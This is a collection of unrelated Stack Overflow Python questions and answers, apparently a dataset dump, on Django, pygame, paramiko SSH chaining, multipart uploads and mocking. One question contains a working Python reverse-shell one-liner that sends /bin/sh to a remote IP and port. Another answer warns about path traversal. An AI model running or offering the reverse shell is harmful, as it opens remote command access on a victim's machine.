text
stringlengths
226
34.5k
Overwrite variable from another class in another file in Python Question: I'm trying to update my UI via a variable in another python file. Both are in there own class. Both saved in a folder called: System. As I don't want to re- execute UI, I can't simply import the file. My question: how does one change a variable from another class in another file, without re-executing? _toolsUI.py_ class toolsUI: def __init__(self): # Store UI elements in a dictionary self.UIElements = {} if cmds.window("UI", exists=True): cmds.deleteUI("UI") self.UIElements["window"]=cmds.window("UI", width=200, height=600, title="UI") self.createColumn() # Create Column # Display window cmds.showWindow(self.UIElements ["window"]) def createColumn(self): self.UIElements["column"] = cmds.columnLayout(adj=True, rs=3) self.UIElements["frameLayout"] = cmds.frameLayout(height=columnHeight, collapsable=False, borderVisible=True, label="To Change Label") _maintenance.py_ class maintenance: def __init__(self): changeLabel = "Label is Changed" self.changeLabelColumn(changeLabel) # Change Label Column def changeLabelColumn(self, changeLabel): import System.toolsUI as toolsUI """<--- probably not a good idea""" cmds.frameLayout(toolsUI.UIElements["frameLayout"], edit=True, label=changeLabel) Answer: The right way to do this afaict would be to create an _object_ of the `toolsUI` type, and then operate on that instead. import System class maintenance: def __init__(self): changeLabel = "Label is Changed" self.ui = System.toolsUI() # create a new object self.changeLabelColumn(changeLabel) def changeLabelColumn(self, changeLabel): cmds.frameLayout( self.ui.UIElements["frameLayout"], # use the object instead edit=True, label=changeLabel) this way you can have multiple `toolsUI` objects that don't interfere with each other.
Python requests_toolbelt MultipartEncoder filename Question: Using requests_toolbelt to upload large files in a Multipart form, I have constructed a method below which succeeds in uploading the file, however I cannot access the posted filename. How do I access the filename on the server? # client-side file = open('/Volumes/Extra/test/my_video.mpg', 'rb') payload = MultipartEncoder({file.name: file}) r = requests.post(url, data=payload, headers={'Content-Type': 'application/octet-stream'}) # server-side @view_config(route_name='remote.agent_upload', renderer='json') def remote_agent_upload(request): r = request.response fs = request.body_file f = open('/Volumes/Extra/tests2/bar.mpg', 'wb') # wish to use filename here f.write(fs.read()) fs.close() f.close() return r Answer: OK, it looks like you are using the name of the file as the field name. Also, the way that you are doing it, seems like the entire post content is being written to file... Is this the desired outcome? Have you tried to actually play your mpg files after you write them on the server side? I don't have an HTTP server readily available to test at the moment which automagically gives me a request object, but I am assuming that the request object is a webob.Request object (at least it seems like that is the case, please correct me if I'm wrong) OK, let me show you my test. (This works on python3.4, not sure what version of Python you are using, but I think it should also work on Python 2.7 - not tested though) The code in this test is a bit long, but it is heavily commented to help you understand what I did every step of the way. Hopefully, it will give you a better understanding of how HTTP requests and responses work in python with the tools you are using # My Imports from requests_toolbelt import MultipartEncoder from webob import Request import io # Create a buffer object that can be read by the MultipartEncoder class # This works just like an open file object file = io.BytesIO() # The file content will be simple for my test. # But you could just as easily have a multi-megabyte mpg file # Write the contents to the file file.write(b'test mpg content') # Then seek to the beginning of the file so that the # MultipartEncoder can read it from the beginning file.seek(0) # Create the payload payload = MultipartEncoder( { # The name of the file upload field... Not the file name 'uploadedFile': ( # This would be the name of the file 'This is my file.mpg', # The file handle that is ready to be read from file, # The content type of the file 'application/octet-stream' ) } ) # To send the file, you would use the requests.post method # But the content type is not application-octet-stream # The content type is multipart/form-data; with a boundary string # Without the proper header type, your server would not be able to # figure out where the file begins and ends and would think the # entire post content is the file, which it is not. The post content # might even contain multiple files # So, to send your file, you would use: # # response = requests.post(url, data=payload, headers={'Content-Type': payload.content_type}) # Instead of sending the payload to the server, # I am just going to grab the output as it would be sent # This is because I don't have a server, but I can easily # re-create the object using this output postData = payload.to_string() # Create an input buffer object # This will be read by our server (our webob.Request object) inputBuffer = io.BytesIO() # Write the post data to the input buffer so that the webob.Request object can read it inputBuffer.write(postData) # And, once again, seek to 0 inputBuffer.seek(0) # Create an error buffer so that errors can be written to it if there are any errorBuffer = io.BytesIO() # Setup our wsgi environment just like the server would give us environment = { 'HTTP_HOST': 'localhost:80', 'PATH_INFO': '/index.py', 'QUERY_STRING': '', 'REQUEST_METHOD': 'POST', 'SCRIPT_NAME': '', 'SERVER_NAME': 'localhost', 'SERVER_PORT': '80', 'SERVER_PROTOCOL': 'HTTP/1.0', 'CONTENT_TYPE': payload.content_type, 'wsgi.errors': errorBuffer, 'wsgi.input': inputBuffer, 'wsgi.multiprocess': False, 'wsgi.multithread': False, 'wsgi.run_once': False, 'wsgi.url_scheme': 'http', 'wsgi.version': (1, 0) } # Create our request object # This is the same as your request object and should have all our info for reading # the file content as well as the file name request = Request(environment) # At this point, the request object is the same as what you get on your server # So, from this point on, you can use the following code to get # your actual file content as well as your file name from the object # Our uploaded file is in the POST. And the POST field name is 'uploadedFile' # Grab our file so that it can be read uploadedFile = request.POST['uploadedFile'] # To read our content, you can use uploadedFile.file.read() print(uploadedFile.file.read()) # And to get the file name, you can use uploadedFile.filename print(uploadedFile.filename) So, I think this modified code will work for you. (Hopefully) Again, not tested because I don't actually have a server to test with. And also, I don't know what kind of object your "request" object is on the server side.... OK, here goes: # client-side import requests file = open('/Volumes/Extra/test/my_video.mpg', 'rb') payload = MultipartEncoder({'uploadedFile': (file.name, file, 'application/octet-stream')}) r = requests.post('http://somewhere/somefile.py', data=payload, headers={'Content-Type': payload.content_type}) # server-side @view_config(route_name='remote.agent_upload', renderer='json') def remote_agent_upload(request): # Write your actual file contents, not the post data which contains multi part boundary uploadedFile = request.POST['uploadedFile'] fs = uploadedFile.file # The file name is insecure. What if the file name comes through as '../../../etc/passwd' # If you don't secure this, you've just wiped your /etc/passwd file and your server is toast # (assuming the web user has write permission to the /etc/passwd file # which it shouldn't, but just giving you a worst case scenario) fileName = uploadedFile.filename # Secure the fileName here... # Make sure it doesn't have any slashes or double dots, or illegal characters, etc. # I'll leave that up to you # Write the file f = open('/Volumes/Extra/tests2/' + fileName, 'wb') f.write(fs.read())
Read .sph files in Python Question: I am working on a project where I need to extract the Mel-Cepstral Frequency Coefficients (MFCC) from audio signals. The first step for this process is to read the audio file into python. The audio files I have are stored in a .sph format. I am unable to find a method to read these files directly into python. I would like to have the sampling rate, and a numpy array with the data, similar to how wav read works. Since the audio files I will be dealing with are large in size, I would prefer not to convert to .wav format for reading. Could you please suggest a possible method to do so? Answer: I was against converting to a .wav file as I assumed it would take a lot of time. That is not the case. So, converting using SoX suited my needs. The following script when run in a windows folder converts all the files in that folder to a .wav file. cd %~dp0 for %%a in (*.sph) do sox "%%~a" "%%~na.wav" pause After this, the following command can be used to read the file. import scipy.io.wavfile as wav (rate,sig) = wav.read("file.wav") PS: I have posted the answer as opposed to deleting my question, as I found very little help online regarding .sph files.
Using postgres thru ODBC in python 2.7 Question: * I have installed Postgres.app and started it. * I have pip installed pypyodbc * I have copied the hello world lines from the Pypyodbc docs, and received the error below. any ideas what the issue might be? Here is my code from __future__ import print_function import pypyodbc import datetime conn = pypyodbc.connect("DRIVER={psqlOBDC};SERVER=localhost") And I receive this error: File "/ob/pkg/python/dan27/lib/python2.7/site-packages/pypyodbc.py", line 975, in ctrl_err err_list.append((from_buffer_u(state), from_buffer_u(Message), NativeError.value)) File "/ob/pkg/python/dan27/lib/python2.7/site-packages/pypyodbc.py", line 482, in UCS_dec uchar = buffer.raw[i:i + ucs_length].decode(odbc_decoding) File "/ob/pkg/python/dan27/lib/python2.7/encodings/utf_32.py", line 11, in decode return codecs.utf_32_decode(input, errors, True) UnicodeDecodeError: 'utf32' codec can't decode bytes in position 0-1: truncated data what am I doing wrong? Do I need to somehow initialize the DB / tables first? it is a weird error if that is the issue. Answer: I copied your code on my Fedora machine and it started when I changed connect string to something like: conn = pypyodbc.connect("Driver={PostgreSQL};Server=IP address;Port=5432;Database=myDataBase;Uid=myUsername;Pwd=myPassword;") You can find more connect strings for PostgreSQL and ODBC at: <https://connectionstrings.com/postgresql-odbc-driver-psqlodbc/>
connect to third server using script Question: I can do ssh from one server to another using this: # ssh [email protected] The following code is doing the same in pythonic way: import paraminko #paramiko.util.log_to_file('ssh.log') # sets up logging client = paramiko.SSHClient() client.load_system_host_keys() client.connect('1.2.4.148') stdin, stdout, stderr = client.exec_command('ls -l') But if I need to connect to third server from the second server, I can do this: # ssh -t [email protected] ssh [email protected] How is this done in python? My current server (250) has password less keys saved with 148 server for easy access. But connection to 149 from 148 will need password if that matters. Answer: This python function will connect to middle_server first and then to last_server. It will execute the command "mycommand" on last_server and return it's output. def myconnect(): middle_server='1.2.3.4' middle_port=3232 middle_user='shantanu' middle_key_filename='/root/.ssh/id_rsa.pub' last_server='6.7.8.9' last_port=1224 last_user='root' last_password='xxxxx' mycommand='pwd' import paramiko proxy_client = paramiko.SSHClient() proxy_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) proxy_client.connect(middle_server, port=middle_port, username=middle_user, key_filename=middle_key_filename) transport = proxy_client.get_transport() dest_addr = (last_server, last_port) local_addr = ('127.0.0.1', 1234) channel = transport.open_channel("direct-tcpip", dest_addr, local_addr) remote_client = paramiko.SSHClient() remote_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: remote_client.connect('localhost', port=last_port, username=last_user, password=last_password, sock=channel) (sshin1, sshout1, ssherr1) = remote_client.exec_command(mycommand) print sshout1.read() except: print "error" return 0
python cross platform testing: mocking os.name Question: ## what is the correct way to mock `os.name`? I am trying to unittest some cross-platform code that uses `os.name` to build platform-appropriate strings. I am running on a Windows machine but want to test code that can run on either posix or windows. I've tried: ### production_code.py from os import name as os_name def platform_string(): if 'posix' == os_name: return 'posix-y path' elif 'nt' == os_name: return 'windows-y path' else: return 'unrecognized OS' ### test_code.py import production as production from nose.tools import patch, assert_true class TestProduction(object): def test_platform_string_posix(self): """ """ with patch.object(os, 'name') as mock_osname: mock_osname = 'posix' result = production.platform_string() assert_true('posix-y path' == result) this fails because `os` is not in the global scope for the `test_code.py`. If 'os' is `import`ed in `test_code.py` then we will always get `os.name=='nt'`. I've also tried: def test_platform_string_posix(self): """ """ with patch('os.name', MagicMock(return_value="posix")): result = production.platform_string() assert_true('posix-y path' == result) in the test, but this seems not to work because `os.name` is an attribute not a method with a return value. EDIT: clarifications in response to comments 1. The [mock docs (1st paragraph)](http://mock.readthedocs.org/en/latest/patch.html) make it seem like directly monkey patching `os.name` could get messy if e.g. an assertion gets raised 2. We really are only changing a path based on `os.name`. Whilst tests will be run on windows and posix machines I wanted something that gave full coverage without needing to resource a machine every time a small edit is made. Answer: According to [Where to patch](https://docs.python.org/3/library/unittest.mock.html#where-to-patch) you should patch `os_name` in `production_code`. By from os import name as os_name you are creating a `os.name`'s reference in `production_code` module called `os_name`: after that (loaded at import time) change `os.name` have no effect `os_name` reference. class TestProduction(object): @patch("production_code.os_name","posix") def test_platform_string_posix(self): assert_equal('posix-y path', production.platform_string())
Python Reverse shell Question: I am trying to get a reverse shell from a windows machine (python installed). Is there a short script to do that? I tried using the following script: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' All the attempts failed, giving out the following error: Errno 9:Bad file descriptor Any help would be appreciated. Answer: Your code won't work on Windows (but you already knew that). Here is the documentation saying that it won't work: > Under Windows the small integer returned by this method cannot be used where > a file descriptor can be used (such as os.fdopen()). > > <https://docs.python.org/2/library/socket.html#socket.socket.fileno>
Django migrations Question: I am trying to build a blog on django. I have gone as far as creating models. Here they are: from django.db import models import uuid class Users(models.Model): username = models.CharField(max_length = 32, primary_key = True) password = models.CharField(max_length = 32) email = models.EmailField() registration_date = models.DateTimeField(auto_now_add = True) class Posts(models.Model): author = models.ForeignKey("Users") header = models.CharField(max_length=100) body = models.TextField() pub_date = models.DateTimeField(auto_now_add = True) mod_date = models.DateTimeField(auto_now = True) upvotes = models.PositiveIntegerField() views = models.PositiveIntegerField() post_id = models.AutoField(primary_key = True) class Answers(models.Model): body = models.TextField() author = models.ForeignKey("Users") pub_date = models.DateTimeField(auto_now_add = True) mod_date = models.DateTimeField(auto_now = True) post = models.ForeignKey("Posts") answer_id = models.UUIDField(primary_key = True, default=uuid.uuid4) After running `python manage.py migrate` I get the following: > You are trying to add a non-nullable field 'post_id' to posts without a > default; we can't do that (the database need mething to populate existing > rows). Please select a fix: > 1) Provide a one-off default now (will be set on all existing rows) > 2) Quit, and let me add a default in models.py Even if I press 1 and try to set a random one-off value, it migrates successfully but later on the website crashes with "no such table: blog_posts". But I think it should work without such workarounds as setting the default value manually anyway. I tried playing with primary keys for Posts and Answers. I tried completely removing them so that django automatically sets them itself and tried changing it from AutoField to UUIDField and vice versa but it didn't help. What am I doing wrong? Answer: You're seeing this error message because django is trying to build a consistent history of migrations, and it complains that if there was a database that held data with your old migrations, and you'd try to add a non- nullable field, it wouldn't know what to do. Migrations are supposed to be put into version control and used across different development/production environments. If you add a field that must not be null, existing data of other environments (for example a production database that held models that did not have the field `post_id`) then django will warn you about this, with the error message that you got, and offer two solutions: 1. This field should always be prepoulated with a default value( you have to modify the models.py) 2. This is a one time migration and you supply a one-off value, for example "LEGACY" to mark pre-migration data. If you're not in production and there is no valuable data on your development server, an easy way to fix this error message is just to delete the existing migration files and run `python manage.py makemigrations && python manage.py migrate` again.
NameError: name 'TigerXtrm' is not defined Question: I'm in the process of installing a piece of software from Github: <https://github.com/bravecollective/core> It uses MongoDB, Python and WebCore to run. I've managed to get it running and now I've arrived at the part where I need to make myself an admin user. According to the readme, the following needs to be executed in the Paster shell. from brave.core.account.model import User from brave.core.character.model import EVECharacter from brave.core.permission.model import Permission, WildcardPermission u = User.objects(username=USERNAME_HERE)[0] u.admin = True c = u.primary p1 = Permission.objects(id='core.*').first() c.personal_permissions.append(p1) c.save() u.save() The username in this case being 'TigerXtrm'. However, when I do this it comes back with the following: Welcome to the WebCore shell. from brave.core.account.model import User from brave.core.character.model import EVECharacter from brave.core.permission.model import Permission, WildcardPermission u = User.objects(username=TigerXtrm)[0] c = u.primary p1 = Permission.objects(id='core.*').first() c.personal_permissions.append(p1) Traceback (most recent call last): File "console", line 1, in module NameError: name 'TigerXtrm' is not defined So **NameError: name 'TigerXtrm' is not defined** is what creates a problem for me. The user is created and has been entered into the MongoDB database, I've also tried lowercase and e-mail adress, both to no avail. I can't figure out why it's telling me it's not defined. Am I executing it in the wrong place or is there something wrong with the code? Or something else entirely? Answer: That's the Python interpreter complaining because you need to quote TigerXtrm: u = User.objects(username="TigerXtrm")[0]
PyGame Menu Formatting Question: So I've been recently working on programming a game in Python as well as an external library called PyGame. If anyone is familiar with the game Hearthstone, that is sort of the feel I'm going for. However, that is besides the point. I have already researched how to display images and their positions, and I have been stuck trying to figure out to create a menu with buttons in the PyGame UI. I have previously programmed in Visual Basic, and I was wondering if the PyGame interface allowed for system event detection in general, not unlike Visual Basic (i.e. mouse clicks, key presses). Help would be much appreciated. Thanks in advance! Answer: One needs to make a `while` loop to have event detection in pygame. Here is an example: import time while 1: for event in pygame.event.get(): if event.type == pygame.QUIT: #happens when 'X' in window is clicked #put code to be executed here elif event.type == pygame.MOUSEBUTTONDOWN: onclick_function(pygame.mouse.get_pos) #passes mouse position as tuple to function to deal with click control. When blitting images to the display, one needs to know coordinates. Simply keep a list of `Rect` objects, each with a function to execute when they are clicked, and use a function to iterate through the list and see if the coordinates of the mouse are inside the `Rect`. See the links for blitting images to the display: Links: -`Rect`: <http://www.pygame.org/docs/ref/rect.html#pygame.Rect> -`Surface`: <http://www.pygame.org/docs/ref/surface.html#pygame.Surface> -`image`: <http://www.pygame.org/docs/ref/image.html>
Error code with if statement Question: I just set up a new python script and when I run it I get the error code: File "conversion.py", line 17 elif filetype == "Audio": ^ My code is: if filetype == "Document": path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:") os.chdir(path[1:-2]) filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:") Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .txt: ") from subprocess import check_call subprocess.check_call(['unoconv', '-f', Fileextension, filename]) elif filetype == "Audio": path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:") os.chdir(path[1:-2]) filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:") Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .mp3: ") body, ext = os.path.splitext("filename") check_call(["ffmpeg" ,"-i", filename, body Fileextension]) elif filetype == "Video": path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:") os.chdir(path[1:-2]) filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:") Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .mp4: ") body, ext = os.path.splitext("filename") from subprocess import check_call check_call(["ffmpeg" ,"-i", filename, body Fileextension]) elif filetype == "Image": path = raw_input("Please drag and drop the directory in which the file is stored into the terminal:") os.chdir(path[1:-2]) filename = raw_input("Please enter the name of the file you would like to convert, including the file-type. e.g. test.txt, however please do make sure that the file-name does not have any spaces:") Fileextension = raw_input("What filetype would you like the program to convert your file to. E.g. .Jpeg: ") body, ext = os.path.splitext("filename") from subprocess import check_call check_call(["ffmpeg" ,"-i", filename, body Fileextension]) Does anybody have any idea as to what the error here is. Any solution would be very much appreciated. I have been trying to solve it for an hour now and I still have no idea as to why it happens. Answer: You are mixing tabs and spaces, and as a result your `subprocess.check_call(['unoconv', '-f', Fileextension, filename])` line is not indented far enough. Python expands tabs to match every _8 spaces_ , but you appear to have configured your editor to indent to 4 spaces for a tab instead: >>> lines = '''\ ... from subprocess import check_call ... subprocess.check_call(['unoconv', '-f', Fileextension, filename]) ... ''' >>> lines.splitlines()[1] " subprocess.check_call(['unoconv', '-f', Fileextension, filename])" >>> lines.splitlines()[0] ' \tfrom subprocess import check_call\t' Note the `\t` character on the `import` line, while the next line (printed first above to call out the tab better). All your indented lines use tabs, except the `subprocess.call()` line. Configure your editor to expand tabs to spaces instead; Python works best when you avoid tabs for indentation. The [Python style guide](https://www.python.org/dev/peps/pep-0008/#tabs-or-spaces) strongly recommends you use spaces over tabs: > Spaces are the preferred indentation method. > > Tabs should be used solely to remain consistent with code that is already > indented with tabs.
Python Django migrate_schemas --shared TypeError: hasattr(): attribute name must be string upon Question: I am trying to create a python django-mako-plus project with a django-tenant- schema. I followed the instructions exactly as the tutorial here: <https://django-tenant-schemas.readthedocs.org/en/latest/install.html#basic- settings> However, when I run cmd: python manage.py migrate_schemas --shared, I get the following error: File "C:\Python34\lib\site-packages\django\db\utils.py", line 234, in __getitem__ if hasattr(self._connections, alias): TypeError: hasattr(): attribute name must be string What are the possible issues? FYI, here is my settings file: """ Django settings for tents_dmp project. Generated by 'django-admin startproject' using Django 1.8.1. For more information on this file, see https://docs.djangoproject.com/en/1.8/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.8/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'ekr-az&e)g_7&&%um+c%652b72#e035a#_y7rv19jl1qj47t)k' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition SHARED_APPS = ( 'tenant_schemas', # mandatory #'customers', # you must list the app where your tenant model resides in 'homepage', 'django.contrib.contenttypes', # everything below here is optional 'django.contrib.auth', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.admin', #'django.contrib.staticfiles', #'django_mako_plus.controller', ) TENANT_APPS = ( # The following Django contrib apps must be in TENANT_APPS 'django.contrib.contenttypes', # your tenant-specific apps ) INSTALLED_APPS = list(set(SHARED_APPS + TENANT_APPS)) TENANT_MODEL = "homepage.Client" # app.Model MIDDLEWARE_CLASSES = ( 'tenant_schemas.middleware.TenantMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.auth.middleware.SessionAuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django_mako_plus.controller.router.RequestInitMiddleware', ) ROOT_URLCONF = 'tents_dmp.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ #'django.core.context_processors.request', 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] TEMPLATE_CONTEXT_PROCESSORS = ( 'django.core.context_processors.request', #... ) WSGI_APPLICATION = 'tents_dmp.wsgi.application' # Database # https://docs.djangoproject.com/en/1.8/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'tenant_schemas.postgresql_backend', 'NAME': 'database2', 'USER': 'postgres', 'PASSWORD': 'XXX', 'HOST': '127.0.0.1', 'PORT': '5432', } } DATABASE_ROUTERS = ( 'tenant_schemas.routers.TenantSyncRouter', ) # Internationalization # https://docs.djangoproject.com/en/1.8/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.8/howto/static-files/ STATIC_URL = '/static/' STATICFILES_DIRS = ( # SECURITY WARNING: this next line must be commented out at deployment BASE_DIR, ) STATIC_ROOT = os.path.join(BASE_DIR, 'static') DEBUG_PROPAGATE_EXCEPTIONS = DEBUG # never set this True on a live site LOGGING = { 'version': 1, 'disable_existing_loggers': True, 'formatters': { 'simple': { 'format': '%(levelname)s %(message)s' }, }, 'handlers': { 'console':{ 'level':'DEBUG', 'class':'logging.StreamHandler', 'formatter': 'simple' }, }, 'loggers': { 'django_mako_plus': { 'handlers': ['console'], 'level': 'DEBUG', 'propagate': False, }, }, } ############################################################### ### Specific settings for the Django-Mako-Plus app DJANGO_MAKO_PLUS = { # identifies where the Mako template cache will be stored, relative to each app 'TEMPLATES_CACHE_DIR': 'cached_templates', # the default app and page to render in Mako when the url is too short 'DEFAULT_PAGE': 'index', 'DEFAULT_APP': 'homepage', # the default encoding of template files 'DEFAULT_TEMPLATE_ENCODING': 'utf-8', # these are included in every template by default - if you put your most-used libraries here, you won't have to import them exlicitly in templates 'DEFAULT_TEMPLATE_IMPORTS': [ 'import os, os.path, re, json', ], # see the DMP online tutorial for information about this setting 'URL_START_INDEX': 0, # whether to send the custom DMP signals -- set to False for a slight speed-up in router processing # determines whether DMP will send its custom signals during the process 'SIGNALS': True, # whether to minify using rjsmin, rcssmin during 1) collection of static files, and 2) on the fly as .jsm and .cssm files are rendered # rjsmin and rcssmin are fast enough that doing it on the fly can be done without slowing requests down 'MINIFY_JS_CSS': True, # see the DMP online tutorial for information about this setting 'TEMPLATES_DIRS': [ # '/var/somewhere/templates/', ], } ### End of settings for the Django-Mako-Plus ################################################################ and my models.py file in the homepage app: from django.db import models from tenant_schemas.models import TenantMixin class Client(TenantMixin): name = models.CharField(max_length=100) paid_until = models.DateField() on_trial = models.BooleanField() created_on = models.DateField(auto_now_add=True) auto_create_schema = True Any help would be greatly appreciated C:\Users\Desktop\django\tents_dmp>python manage.py migrate_schemas --shared === Running migrate for schema public Traceback (most recent call last): File "manage.py", line 10, in <module> execute_from_command_line(sys.argv) File "C:\Python34\lib\site-packages\django\core\management\__init__.py", line 338, in execute_from_command_line utility.execute() File "C:\Python34\lib\site-packages\django\core\management\__init__.py", line 330, in execute self.fetch_command(subcommand).run_from_argv(self.argv) File "C:\Python34\lib\site-packages\tenant_schemas\management\commands\migrate _schemas.py", line 24, in run_from_argv super(MigrateSchemasCommand, self).run_from_argv(argv) File "C:\Python34\lib\site-packages\django\core\management\base.py", line 390, in run_from_argv self.execute(*args, **cmd_options) File "C:\Python34\lib\site-packages\django\core\management\base.py", line 441, in execute output = self.handle(*args, **options) File "C:\Python34\lib\site-packages\tenant_schemas\management\commands\migrate _schemas.py", line 34, in handle self.run_migrations(self.schema_name, settings.SHARED_APPS) File "C:\Python34\lib\site-packages\tenant_schemas\management\commands\migrate _schemas.py", line 61, in run_migrations command.execute(*self.args, **defaults) File "C:\Python34\lib\site-packages\django\core\management\base.py", line 441, in execute output = self.handle(*args, **options) File "C:\Python34\lib\site-packages\django\core\management\commands\migrate.py ", line 70, in handle connection = connections[db] File "C:\Python34\lib\site-packages\django\db\utils.py", line 234, in __getite m__ if hasattr(self._connections, alias): TypeError: hasattr(): attribute name must be string Answer: Here is your problem: <https://github.com/bernardopires/django-tenant-schemas/issues/252> DTS still does not work with django 1.8, but here is a fork that has the changed stuff. <https://github.com/tomturner/django-tenant- schemas/commit/fe437f7c81af8484614b3dcdaeb7ad5c43249f54> Looks like it works with 1.7 and 1.8, but I haven't tested. Since I'm starting out a new project, I'll probably downgrade django for a while.
Django CreateView does not save object Question: I'm trying to use a Create View class in a Django App, but can't save the object. I tried some suggestions posted in related questions [here](http://stackoverflow.com/questions/17826778/django-createview-is-not- saving-object) and [here](http://stackoverflow.com/questions/17833117/djangos- createview-is-not-saving-an-object) with no results. The error is > NoReverseMatch at /metas/add-meta Reverse for 'metas_detalle' with arguments > '()' and keyword arguments '{'pk': None}' not found. 1 pattern(s) tried: > ['metas/(?P\d+)/control$'] The form is working and valid, the class call the `save()` method but the object isn't save, so, the `id` is `None`. This is my `models.py`: class MetasSPE(models.Model): puesto = models.CharField("Cargo", max_length=6, choices=PUESTOS) clave = models.CharField("Clave de la Meta", max_length=2) nom_corto = models.CharField('Identificación', max_length=25) year = models.PositiveIntegerField("Año") evaluacion = models.BooleanField('Evaluación', default=True) ciclos = models.PositiveSmallIntegerField('Repeticiones') descripcion = models.TextField('Descripción de la Meta') descripcion_html = models.TextField( 'Descripción de la Meta', editable=False) soporte = models.FileField( 'Soporte', upload_to=archivo_soporte, blank=True, null=True) usuario = models.ForeignKey(User, related_name='meta_user', editable=False) creacion = models.DateTimeField(auto_now_add=True) actualiza = models.DateTimeField(auto_now=True) def get_absolute_url(self): from django.core.urlresolvers import reverse return reverse('metas_detalle', kwargs={'pk': self.id}) The `get_absolute_url()` is working, tested in `python manage.py shell`: In [1]: from django.core.urlresolvers import reverse In [2]: reverse('metas_detalle', kwargs={'pk': 1}) Out[2]: '/metas/1/control' This is the `forms.py`: class MetasSPEForm(forms.ModelForm): class Meta: model = MetasSPE fields = ("puesto", "clave", "nom_corto", "evaluacion", "ciclos", "descripcion", "soporte") And this is my `views.py`: class CrearMeta(CreateView): model = MetasSPE form_class = MetasSPEForm template_name = 'metas/form_base.html' def form_valid(self, form): form.instance.usuario = self.request.user form.instance.year = 2015 return super(CrearMeta, self).form_valid(form) The `urls.py` looks like this: urlpatterns = patterns( 'metas.views', url(r'^$', 'home', name='metas_index'), url(r'^(?P<pk>\d+)/control$', MetaDetalle.as_view(), name='metas_detalle'), url(r'^add-meta$', 'agregar_meta', name='metas_add'), ) By the way, I tried this function, and got the exact same error, but I'm unable to see the cause: # from annoying.decorators import render_to # from django.contrib.auth.decorators import login_required @login_required @render_to('metas/form_base.html') def agregar_meta(request): if request.method == 'POST': form = MetasSPEForm(request.POST, request.FILES) if form.is_valid(): meta = form.save(commit=False) meta.usuario = request.user meta.year = 2015 meta.save() return redirect('metas_detalle', kwargs={'pk': meta.id}) else: form = MetasSPEForm() return {'title': 'Agregar nueva meta', 'form': form} Hope you can help me. Answer: According to the error, you have the following URL pattern defined: > `metas/(?P\d+)/control$` ...which **_should_** be `metas/(?P<pk>\d+)/control$` Note that this is different from the given patterns above: urlpatterns = patterns( 'metas.views', url(r'^$', 'home', name='metas_index'), url(r'^(?P<pk>\d+)/control$', MetaDetalle.as_view(), name='metas_detalle'), url(r'^add-meta$', 'agregar_meta', name='metas_add'), ) If I had to guess, you are doing something like the below in the root **urls.py** : urlpatterns = patterns( '', url(r'^metas/', include('metas.urls')), # Bad line with bad regex below! url(r'metas/(?P\d+)/control$', MetaDetalle.as_view(), name='metas_detalle'), ) Actually, I found the problem: <https://github.com/SGC-Tlaxcala/sgc- metas/blob/e5a6c8e7a54f833795c46d5ece438b219460bf47/src/metas/models.py#L167-L177> class MetasSPE(models.Model): ... def save(self, **kwargs): """ Se sobre-escribe el método `save()` para guardar la descripción con html. :param kwargs: Parámetros en clave :return: nada """ from markdown import markdown self.descripcion_html = markdown( self.descripcion, outpu_format='html5', lazy_ol=True ) def __str__(self): ... You forgot to call super() on your overidden save() method, which means your model will never save: class MetasSPE(models.Model): ... def save(self, **kwargs): """ Se sobre-escribe el método `save()` para guardar la descripción con html. :param kwargs: Parámetros en clave :return: nada """ from markdown import markdown self.descripcion_html = markdown( self.descripcion, outpu_format='html5', lazy_ol=True ) super(MetasSPE, self).save(**kwargs)
